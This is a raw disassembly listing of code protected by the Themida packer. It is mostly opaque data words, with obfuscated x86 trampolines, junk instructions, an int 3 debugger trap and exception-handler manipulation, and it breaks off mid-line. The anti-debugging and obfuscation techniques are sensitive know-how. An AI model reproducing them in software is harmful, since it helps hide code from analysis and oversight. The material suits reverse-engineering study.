56460000h, 8B6685C3h, 0A5B5FFD9h, 6A07E7F8h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 45B7C351h, 0E6D8B949h, 0B925BB99h, 97195FFh, 6A07E4h dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 9C0B6EC3h, 0BBF47F6Bh, 1A0BC88h, 0A21BD83h, 0F0207E4h dd 5084h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1404h, 0C3554500h, 8BD98B0Ch, 0E41EB585h, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h dd 0BD8BD2F6h, 7E412C1h, 2B0000C6h, 0E414BD9Dh, 7185C707h dd 7E426h, 0BF000000h, 531DD13Dh, 0FFF1B9E9h, 8D9D8BFFh dd 8B07E412h, 0E423A9BDh, 66C18B07h, 8BE36DBFh, 0E400CD9Dh dd 85858D07h, 0F07E40Dh, 83h, 90509000h, 31CD8589h, 6A07E4h dd 237DBD2Bh, 0EE907E4h, 2F000000h, 0A7D505F3h, 0DC642C61h dd 1A00A8D5h, 8B006AE8h, 0E4332DBDh, 30858D07h, 6A07E930h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 195C352h, 816A37F5h, 0B7049C3h, 5C0837Ah dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 15h, 0D8C35141h dd 4D9D239Eh, 8907E41Ch, 0E4272D8Dh, 66509007h, 9022B8BBh dd 168E0Fh, 11E90000h, 82000000h, 72E90ED4h, 0AF9CAF85h dd 3844C0Dh, 71EF014Fh, 9E8h, 0BEB36100h, 0E09FA3F2h, 14E94BD1h dd 0AF000000h, 0AED53236h, 20F3DCDAh, 916E136Bh, 0B745AD00h dd 5FB0370Bh, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 160424h, 53430000h, 1A639C3h, 5199D8Bh, 6A07E4h, 0FF50D780h dd 0E4247195h, 51006A07h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1604h, 0C3514100h, 0E979CACFh, 0Fh, 11EF2123h dd 6ACCE1E5h, 0EBA4F09Dh, 8D14DC55h, 0E7D64B8Dh, 5E907h dd 782E0000h, 0FFE854DEh, 56006AD1h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1804h, 0C3564600h, 0AA6C173Bh dd 0FFB70F15h, 2015BD83h, 0F0107E4h, 5E85h, 4D950100h dd 2907E41Dh, 0E4264DBDh, 66026A07h, 0A169C381h, 7E890h dd 219A0000h, 494357C0h, 0B519BB9Fh, 505F236Ah, 6A90DA8Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 66FEC353h, 0CF555421h, 0AD95FFF1h, 0F07E431h dd 68Dh, 0A19D8B00h, 0E907E40Fh, 0D82h, 0E8h, 0ED815D00h dd 7E9303Ah, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 15h, 0EAC35747h, 0C99D8B7Dh, 8B07E422h, 0E42ED9BDh dd 0E1858D07h, 0E907E7C6h, 10h, 0AEC082F0h, 60B7341Fh dd 64196BF6h, 31A8ECABh, 14E86050h, 0E5000000h, 0C70BA7BFh dd 1F80EA18h, 0B24BADD6h, 0FCA89146h, 66524B0Dh, 0E858D18Bh dd 0Ch, 84C168BDh, 9F4E8DE6h, 9B7CAFE5h, 6158B6B2h, 31240489h dd 0E425899Dh, 35FF6407h, 0 ; --------------------------------------------------------------------------- add [ebp+7E427B1h], edi mov large fs:0, esp jmp loc_5D557A ; --------------------------------------------------------------------------- dw 0CD06h dd 47105587h, 3AE37819h, 0AD59BB3Dh, 0CCA54284h db 6Eh, 94h ; --------------------------------------------------------------------------- loc_5D557A: ; CODE XREF: Themida_:005D5561j inc dword ptr [ebp+7E420B9h] push 0 push ecx call sub_5D558B and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D558B proc near ; CODE XREF: Themida_:005D5583p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Dh inc ecx push ecx retn sub_5D558B endp ; --------------------------------------------------------------------------- mov edi, 85250FEFh pop eax mov bl, 0E7h add al, 2 mov ebx, eax loc_5D55A7: ; CODE XREF: Themida_:005D61EAj push 0FFFFFFFFh js loc_5D55BB jnb loc_5D55BB mov ebx, [ebp+7E4224Dh] loc_5D55BB: ; CODE XREF: Themida_:005D55A9j ; Themida_:005D55AFj push dword ptr [ebp+7E42291h] push 0 push ebx call sub_5D55CC and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D55CC proc near ; CODE XREF: Themida_:005D55C4p arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 17h inc ebx push ebx retn sub_5D55CC endp ; --------------------------------------------------------------------------- test eax, 0B7E235E4h int 3 ; Trap to Debugger call dword ptr [ebp+7E4304Dh] jmp loc_5D5706 ; --------------------------------------------------------------------------- db 8Bh, 9Dh, 9 dd 0B007E416h, 4DB58900h, 0F07E415h, 70E6F9BFh, 23899D23h dd 71E407E4h, 613CD88Bh, 0F4830Fh, 0BD8B0000h, 7E42349h dd 6830Fh, 9D890000h, 7E407ADh, 60C8B60Fh, 7CD858Bh, 5E907E4h dd 0CE000000h, 39130CDBh, 6BA61h, 0FE8B0000h, 8589C18Bh dd 7E4163Dh, 6604E8C1h, 971CDB81h, 2BE2F766h, 9D8957C8h dd 7E42DF1h, 89D18B5Bh, 0E42B999Dh, 9CE907h, 89510000h dd 0E412C1B5h, 858B5F07h, 5F4C4C44h, 6D5BD0Bh, 816607E4h dd 8329E2DFh, 816607C0h, 0BF5460F3h, 79059557h, 6600C083h dd 208CB81h, 830FD03Bh, 1Bh, 0E9FABF0Fh, 5Eh, 7E8h, 0BC13E100h dd 938F1667h, 186D9D09h, 8B5F07E4h, 0FFFFFF8Dh, 13E9FFh dd 0E17A0000h, 1A1279DBh, 955FADE2h, 6ACD3BC0h, 0E3DF2D14h dd 1E18353h, 24840Fh, 9D890000h, 7E42D89h, 0FFFFA583h dd 23FEFFFFh, 0E418A99Dh, 44958907h, 8B5F4C4Ch, 0E40345BDh dd 0E907h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5D5706: ; CODE XREF: Themida_:005D55E8j lea esi, [ebp+7E8A95Ah] push 0 push ebp call sub_5D5717 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D5717 proc near ; CODE XREF: Themida_:005D570Fp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 16h inc ebp push ebp retn sub_5D5717 endp ; --------------------------------------------------------------------------- cmp [eax+42h], edx push edi jmp loc_5D5742 ; --------------------------------------------------------------------------- push ss xchg eax, ebp inc ecx push ds db 36h push ebx and [ebx-7C5D66B1h], cl add dl, [ebx-6858E41Bh] loc_5D5742: ; CODE XREF: Themida_:005D572Bj pop ebx push 0 mov edi, [ebp+7E42DC5h] call dword ptr [ebp+7E40E41h] push edi mov [ebp+7E4185Dh], esi pop ebx mov ecx, 0FA5h push esi mov ebx, [ebp+7E40D89h] pop edi and ecx, 0FFFFFFFCh cld push 0 push ebx call sub_5D5775 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D5775 proc near ; CODE XREF: Themida_:005D576Dp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 14h inc ebx push ebx retn sub_5D5775 endp ; --------------------------------------------------------------------------- adc eax, 5798EF80h mov [ebp+7E42C65h], eax pop edi mov eax, 0 push 0 push eax call sub_5D57A1 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D57A1 proc near ; CODE XREF: Themida_:005D5799p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 17h inc eax push eax retn sub_5D57A1 endp ; --------------------------------------------------------------------------- db 0EFh, 21h, 83h dd 0EE98Bh, 3D680000h, 6447F591h, 8338109h, 0AAEABA00h dd 8B66D22Bh, 0C233ADF9h, 0D003E8D1h, 7504E983h, 52006AF4h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h dd 341B3413h, 0FF75E063h, 6A76B7h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 0A54AE9C3h, 3D291DC4h dd 880D4168h, 0B3000000h, 71958B5Ah, 8B07E41Bh, 0E42DA18Dh dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 71BDD6AFh, 0F688E060h, 8A530FC3h, 870F5BDAh dd 3, 5013CB80h, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h dd 318D2958h, 6A07E414h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 18042444h, 45000000h, 8A15C355h, 83D1BE30h dd 0E40611BDh, 840F0007h, 61h, 7DD78166h, 0B877h, 6A0000h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h, 52420000h dd 0F3992EC3h, 8D492FCFh, 0E44FE78Dh, 56006A07h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1A04h, 0C3564600h dd 0D0F9B697h, 23F330F5h, 0E41DDDBDh, 8BE1FF07h, 0E42679BDh dd 0B9BD8307h, 7E422h, 4AB840Fh, 0BD830000h, 7E422B9h dd 0B9840F01h, 83000004h, 0E422B9BDh, 860F0307h, 476h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 18h, 0D9C35141h dd 0D59723A0h, 1AB9BD01h, 8D0F07E4h, 16h, 0AE8h, 49069300h dd 0F7E0D5E4h, 0FF7FD25h, 87h, 6A605B00h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0ACC6C353h dd 54464F12h, 662B1750h, 5578DF81h, 6AD98C66h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h dd 0EE3EC357h, 55BF66C4h, 4E18007h, 8E8h, 0B0F9D600h, 12F6C979h dd 0C98D31C1h, 5F07E40Dh, 840FC90Ah, 1E0h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0CFC35545h, 9382B582h dd 77FC6A65h, 128D0Fh, 0E9600000h, 5, 740B0635h, 890F0Ah dd 61000000h, 651858Bh, 6A07E4h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 190424h, 51410000h, 0D3EA1DC3h, 8B22B3A5h dd 0E4025DBDh, 29853307h, 6A07E420h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0BBFCC355h dd 2F8EC20Eh, 0C143BB90h, 50506120h, 0F525051h, 5F585A31h dd 6A905Fh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1D0424h dd 53430000h, 947720C3h, 4C7DE24Ah, 815CBF14h, 0F9644DDFh dd 6A006A63h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 17042444h, 40000000h, 2F1C350h, 0DE9A5A9h, 0D1000000h dd 2E05A293h, 0A109449Bh, 98B052E7h, 4E8h, 1F03FF00h, 0D88B6600h dd 0EE950h, 75E30000h, 45B81A70h, 10C97BD4h, 58353A2Bh dd 424448Bh, 6569BB66h, 5F53008Bh, 4244489h, 0E8DF8B60h dd 11h, 82A2BEE3h, 322CA78Ah, 0CC7AEBC3h, 0F2358D5h, 12E909h dd 972F0000h, 6BC56701h, 6F160786h, 0EBB7A50Fh, 1D0FD75Eh dd 6A586158h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1D042444h, 47000000h, 9553C357h, 4834821Ch, 76BBB462h dd 1F59D89h, 95FF07E4h, 7E42D99h, 1FFD8D09h, 8E0F07E4h dd 1, 0A58589F5h, 6A07E7F8h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 19042444h, 42000000h, 3AD8C352h, 7A235A4h dd 99D9D29h, 816007E4h, 0E071BED0h, 72E96165h, 57000001h dd 5BD98B66h, 0F89D858Bh, 6A07E7h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 150424h, 55450000h, 8B80E7C3h, 0E415BD9Dh dd 1800C707h, 6A000000h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 670EC350h, 31EC7788h dd 0E41B899Dh, 0A1B58B07h, 8B07E7F8h, 1991BFFBh, 858B514Eh dd 7E40099h, 1A8D0FF5h, 0E8000000h, 0Eh, 32CEE992h, 0FA121DDh dd 803EBE47h, 8501B723h, 7E40085h, 6A06895Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h dd 1FC1C355h, 832AD321h, 858B074Ah, 7E40651h, 89FABF0Fh dd 50960446h, 0BB665651h, 5B5FD1DFh, 5E996h, 26D90000h dd 0FF339C73h, 0E7F89DB5h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1D04h, 0C3534300h, 400CDABEh dd 0A2445E86h, 0BE95400h, 3F000000h, 0F8748110h, 7C8FB9E6h dd 286887FBh, 0BF109D65h, 5F4A2D15h, 0D7243481h, 0F108266h dd 589h, 3AA4BF00h, 858D7A48h, 7E7F8A5h, 50F88B90h, 6A90D98Bh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 17042444h dd 43000000h, 21CAC353h, 95FF3310h, 7E42D99h, 10E9h, 9D926500h dd 6290A168h, 1DE411ECh, 20060809h, 9D8B6184h, 7E431E9h dd 22B985C7h, 307E4h, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 0B92CC4C3h, 4391C9BFh dd 83E6B346h, 0E7F8A5BDh, 840F0007h, 36h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Dh, 0C0C35141h, 0FB94F673h dd 0BC477DBFh, 0D9BD8B5Bh, 0E907E41Dh, 21h, 1A6DB589h dd 305007E4h, 4400110Ch, 0E8C10111h, 11443010h, 114C0002h dd 0E9835803h, 0EBE77504h, 4305036h, 11640011h, 10E8C101h dd 2114430h, 3116400h, 4E98358h, 1BEBE775h, 10E8C150h dd 3116428h, 2114430h, 11642858h, 11043001h, 7504E983h dd 8B00EBE7h, 0FF88BC0h, 1782h, 11890F00h, 0E9000000h dd 0Ch, 424D3A13h, 0EFCE7C54h, 10EA88A4h, 9E9h, 0F128DE00h dd 9B408D7h, 0BD83FDB1h, 7E422B9h, 0B3850F03h, 6A000003h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1B042444h dd 46000000h, 0A26AC356h, 0CB1D1EB6h, 8B53CE13h, 0BD835BDFh dd 7E7F8A5h, 7F840F00h, 6A000003h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 8C5BC351h dd 0F3D29A5Dh, 14E97DDEh, 1B000000h, 0DCF92AE1h, 939133D8h dd 27789D62h, 8D7B58BDh, 0FF1AFB11h, 0E7F8A5B5h, 53006A07h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1904h, 0C3534300h dd 0A4411B4Fh, 8B66D4EAh, 4D95FFDAh, 8B07E404h, 0E7F899B5h dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 61755AE6h, 3B13E632h, 85314996h, 7E41F49h dd 106C7h, 6A0001h, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 180424h, 56460000h, 0A7BD84C3h, 0BB661819h, 669615C7h dd 50C2D8BFh, 0D6EF8196h, 666B35A5h, 5317DF81h, 0F8A5B5FFh dd 816607E7h, 0FF364ADBh, 0E42A0995h, 8BF98B07h, 0E7F899B5h dd 53006A07h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 0E16F68EBh, 0BC2E8C36h, 3771BF66h, 3165858Bh dd 89FC07E4h, 0C486h, 0AD9D8900h, 8B07E405h, 0E41B7195h dd 1D890F07h, 0F000000h, 178Ah, 12E900h, 63DF0000h, 0C193FE1Dh dd 574B303Dh, 4CA8C124h, 43F36D51h, 8904C283h, 6A2050h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h, 51410000h dd 0DE3673C3h, 9A1F944Ah, 0CD4858Dh, 0F78107E8h, 2D74FF29h dd 0B88689h, 0B70F0000h, 6A006ADFh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 89E8C352h dd 0E41C1DBDh, 0A5B5FF07h, 0E907E7F8h, 0Ah, 7BC33F5h, 0B9E1A83Ch dd 95FF1480h, 7E431ADh, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 0E1C35343h, 6840Fh, 8D090000h, 7E424E1h dd 1FF9BD89h, 0F5007E4h, 0B81h, 6E900h, 47960000h, 0D0F7A54Fh dd 31243489h, 0E431B195h, 14E95307h, 0DD000000h, 4D70DE3Ch dd 4D371E90h, 0A7C15D7Dh, 308C602Dh, 5FC60CC0h, 0F8A5B5FFh dd 95FF07E7h, 7E41B11h, 83F98B66h, 0E40DF9BDh, 840F0007h dd 49h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h dd 5C35242h, 302644D2h, 19850Fh, 14E90000h, 7F000000h dd 0DD9A16C8h, 5E332F59h, 0F109F4EFh, 84D245C6h, 9618DC39h dd 8FBB6650h, 0F95696E1h, 0A5B5FF5Bh, 6A07E7F8h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 14042444h, 45000000h dd 0FFFAC355h, 0E4027D95h, 53006A07h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1C04h, 0C3534300h, 39B54323h dd 7F84B43h, 0F9BD31E8h, 0FF07E41Dh, 0E7F8A5B5h, 8890F07h dd 56000000h, 830Fh, 0FF5B0000h, 0E4097195h, 6C5ABF07h dd 0B5892C81h, 7E42239h, 0A21BD83h, 0F0207E4h, 5184h, 0A98D0100h dd 8B07E405h, 0E41EB585h, 56006A07h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1504h, 0C3564600h, 13E839E3h dd 0DC000000h, 1021CA87h, 0BA936933h, 18FB1F3Bh, 0AA6B09BEh dd 8D899E3Ah, 7E406A1h, 0C65Bh, 6319589h, 85C707E4h, 7E42671h dd 0 ; --------------------------------------------------------------------------- sub [ebp+7E40691h], ebx jmp loc_5D55A7 ; --------------------------------------------------------------------------- push 0 push esi call sub_5D61FA and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D61FA proc near ; CODE XREF: Themida_:005D61F2p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5D61FA endp ; --------------------------------------------------------------------------- dw 0D089h dd 75F652A5h, 0FE9h, 79803400h, 796A9079h, 77BAD763h, 0B2D9A4AEh dd 6AC18Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 858D3AC3h, 7E40D85h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 19h, 0CCC35242h, 8AA3AF12h, 0BB66505Eh dd 489A14Bh, 51006A24h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 6AB306h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 19h, 16C35646h, 0EB53CF47h, 3006AAAh dd 0E41FBD9Dh, 0D3858D07h, 6A07E93Fh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0D0F4C352h dd 0C176F426h, 6DBD8B8Ah, 8307E421h, 526005C0h, 615B03B5h dd 0F343BB90h, 90507B8Fh, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 15h, 0BC35040h, 0C7816677h, 9D8B0FEFh, 7E40EF1h dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h dd 52420000h, 0F2E6B3C3h, 8BC56DFBh, 0E40D699Dh, 6A006A07h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 15042444h dd 40000000h, 514EC350h, 399D01F8h, 0FF07E401h, 0E4247195h dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1504h dd 0C3514100h, 8D8D3115h, 7E7D64Bh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 63C35646h, 6A1DF768h, 0B3DE9184h dd 1B999D89h, 0D1FF07E4h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 18h, 62C35747h, 638C019Ah, 26E9B589h, 0BF6607E4h dd 0BD83C4D2h, 7E42015h, 63850F01h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h dd 7DA0C355h, 0F9B9D8B2h, 0DA8ADE8Bh, 9D03026Ah, 7E40F7Dh dd 89DE8A50h, 0BD8B2404h, 7E40E69h, 31AD95FFh, 6A07E4h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h dd 8060ABC3h, 0C48036CCh, 29E96199h, 0E800000Dh, 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 7E93FDDh sbb edi, 3626A145h or ebx, [ebp+7E42A95h] lea eax, [ebp+7E7C6E1h] jmp loc_5D648E ; --------------------------------------------------------------------------- dw 489Ah dd 0B964B798h db 0ADh, 0E4h ; --------------------------------------------------------------------------- loc_5D648E: ; CODE XREF: Themida_:005D6481j nop jmp loc_5D64A0 ; --------------------------------------------------------------------------- dd 0AF7510D3h, 0C93A870Ch, 20F2BDB1h ; --------------------------------------------------------------------------- loc_5D64A0: ; CODE XREF: Themida_:005D648Fj push eax pusha mov di, bx mov eax, 571E074Ah popa nop push 0 push ecx call sub_5D64B7 and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D64B7 proc near ; CODE XREF: Themida_:005D64AFp arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Bh inc ecx push ecx retn sub_5D64B7 endp ; --------------------------------------------------------------------------- db 0B3h dd 603A8CE2h, 64ACFBD3h, 35FFh, 64F90000h, 2589h, 8D890000h dd 7E425E9h, 2F95B589h, 85FF07E4h, 7E420B9h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 0C2C35343h, 0EFA82AD6h dd 6195899Eh, 6A07E41Ch, 0E9BD8BFFh, 0FF07E41Fh, 0E41D5DB5h dd 35BD8B07h, 0FF07E400h, 0E4304D95h, 131E907h, 0BD8B0000h dd 7E4185Dh, 8B6600B0h, 0E970E6DAh, 9, 6AAD0FE7h, 10238B74h dd 8971E425h, 0E42A0595h, 0F613C07h, 10683h, 0DE900h, 0BE9B0000h dd 78F4402Ah, 4322EE34h, 9A722AAh, 0E401F59Dh, 0C8B60F07h dd 0E4DB589h, 0BAF907E4h, 6, 6E9h, 0BEF7F300h, 8B3244EEh dd 0E8CF80C1h, 0E904E8C1h, 9, 0A33BEE3Fh, 20698E36h, 0E2F766C1h dd 0C82B5F50h, 890Fh, 0CB30000h, 11E9D18Bh, 52000000h dd 17FEB9C7h, 43F847F9h, 98C174B8h, 92FA3006h, 92E9h, 0DE8B6600h dd 4C50858Bh, 8B664755h, 7C083FAh, 0D880Fh, 89600000h dd 0E401F585h, 0AD4BBB07h, 96145FDh, 0E420E9B5h, 0C08307h dd 2FDDBD89h, 0D03B07E4h, 16830Fh, 9D8B0000h, 7E403B1h dd 1A4DB589h, 48E907E4h, 66000000h, 0DE60F381h, 0FFFF8D8Bh dd 0BE9FFFFh, 0B6000000h, 0EDCC923Ah, 0A3F3071h, 85896A83h dd 7E431CDh, 0F01E183h, 1E84h, 0FFA58300h, 0FEFFFFFFh dd 66FAB70Fh, 0AF82EF81h, 4C509589h, 0BF664755h, 0E92137h dd 8D000000h, 0E8B8FFB5h, 51006A07h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1D04h, 0C3514100h, 33562A1Ch dd 5EE37C57h, 9D8BE41Fh, 7E41F49h, 0BB66F98Bh, 6AA735h dd 0F5FA8B66h, 0E4195FFh, 6A07E4h, 3E850h, 58200000h, 448958C3h dd 44810424h, 170424h, 50400000h, 0BDA5FDC3h, 0B7E7805Eh dd 0EE9h, 2D486500h, 50B09A8Bh, 345F8673h, 0B993F877h dd 1015h, 138A0Fh, 840F0000h, 0Dh, 8E9h, 373F5300h, 8DEAEF34h dd 0DA8B660Ah, 6AFCE183h, 3E85200h, 20000000h, 895AC35Ah dd 81042454h, 1C042444h, 42000000h, 0FBBDC352h, 0DC24C466h dd 0FC188F95h, 0CE9h, 41127600h, 23A6FBFDh, 585CC37Dh dd 6AFC80h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 0C1AC3h, 74CD759Eh, 9D8B3904h, 7E41CA9h dd 68F0Fh, 8D310000h, 7E42D95h, 0B8h, 90BF6600h, 0AE8E4h dd 57260000h, 0FAD10159h, 680B3A39h, 165D9D2Bh, 0BA5F07E4h dd 0 ; --------------------------------------------------------------------------- cmc loc_5D6795: ; CODE XREF: Themida_:005D679Fj lodsd xor eax, edx shr eax, 1 add edx, eax sub ecx, 4 jnz short loc_5D6795 add [ebp+7E43149h], ebx mov di, ax or eax, 88h or bx, 4639h mov edx, [ebp+7E41B71h] push 0 push edx call sub_5D67C5 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5D67C5 proc near ; CODE XREF: Themida_:005D67BDp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_5D67C5 endp ; --------------------------------------------------------------------------- db 5Eh, 9Dh, 8Bh dd 0E422459Dh, 0A18D8B07h, 0F07E42Dh, 68Ah, 0BD9D8900h dd 5007E42Eh, 188BC28Bh, 188BC103h, 0E8D1C18Bh, 188BC203h dd 0F3F78158h, 0F6584A4h, 0BD83DFB7h, 7E40611h, 93840F00h dd 6A000000h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 14042444h, 41000000h, 897AC351h, 0E42D3595h, 0B807h dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 6E9FF1C3h, 7DED20A5h, 9D8B26BDh, 7E41A11h dd 8618BF66h, 4FE78D8Dh, 6A07E4h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1C0424h, 56460000h, 0BEB361C3h, 0E09FA3F2h dd 0B5894BD1h, 7E40921h, 9D8BE1FFh, 7E405BDh, 27019D23h dd 0BD8307E4h, 7E422B9h, 7C840F00h, 23000004h, 0E41E759Dh dd 0B9BD8307h, 107E422h, 484840Fh, 6A0000h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 19E7AEC3h dd 6D9F46D8h, 11E8h, 6C0B1E00h, 0E7C8A63Eh, 0A6D9C003h dd 31F21421h, 820FE047h, 6, 8F7E381h, 665B45E3h, 0BD83DE8Bh dd 7E422B9h, 0F9860F03h, 6A000003h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1D042444h, 41000000h, 9C6CC351h dd 839E26FAh, 33683F5Eh, 11E8h, 0BDA48200h, 8C981707h dd 65169DC8h, 7C5A27BFh, 895F7994h, 0E40A1995h, 6A6007h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 14893FC3h, 662D6B5Ah, 0BF0FD98Ch, 4E180F9h, 3559BD8Bh dd 0C90A07E4h, 133840Fh, 8B660000h, 51858BFAh, 0F07E406h dd 0A81h, 8D8B6000h, 7E413A9h, 3361D88Bh, 0E4202985h, 0FDB50907h dd 9007E400h, 0AB11BF66h, 0A5BB6650h, 6A9057h, 3E852h dd 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 59FB0EC3h, 6A006Ah, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 0B5B065C3h, 1AC02E28h, 0E85F5028h dd 4, 1F03FFh, 9E850h, 8F550000h, 78D56CD8h, 0E9C2182Fh dd 5, 4A351AAh, 448B5FBEh, 50530424h, 13E952h, 466E0000h dd 3AD65245h, 957C9132h, 42E87F2Fh, 0EB669821h, 0E8310FFFh dd 8, 7A625EFCh, 145F26FDh, 5B585A5Bh, 4489008Bh, 0FF580424h dd 0E42D9995h, 51006A07h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1C04h, 0C3514100h, 785661F1h, 7E4054B6h dd 7D8D890Ah, 8B07E419h, 0E401399Dh, 0A5858907h, 0B307E7F8h dd 20AE937h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h dd 170424h, 57470000h, 5E0C38C3h, 9D858B32h, 6A07E7F8h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h dd 42000000h, 8B39C352h, 0E416B59Dh, 0B0BB6607h, 1800C726h dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h dd 15042444h, 40000000h, 4D45C350h, 23CF8166h, 0A1B58BC3h dd 0E807E7F8h, 11h, 0A1FC9C2Eh, 0E779765Ch, 55BC293Ah dd 0E7E20447h, 68B0FDDh, 9000000h, 0E41EB995h, 0F3815B07h dd 62BCECC4h, 99858Bh, 9D2907E4h, 7E4249Dh, 0BD8B0689h dd 7E41925h, 651858Bh, 6A07E4h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 1D0424h, 52420000h, 7A1F34C3h, 0A8839088h dd 0BBBD750Eh, 1784ED17h, 6A044689h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 19042444h, 46000000h, 0AD9BC356h dd 29BBED7Eh, 0BD8B64B3h, 7E40E11h, 0DE996h, 0A3FB0000h dd 938AB676h, 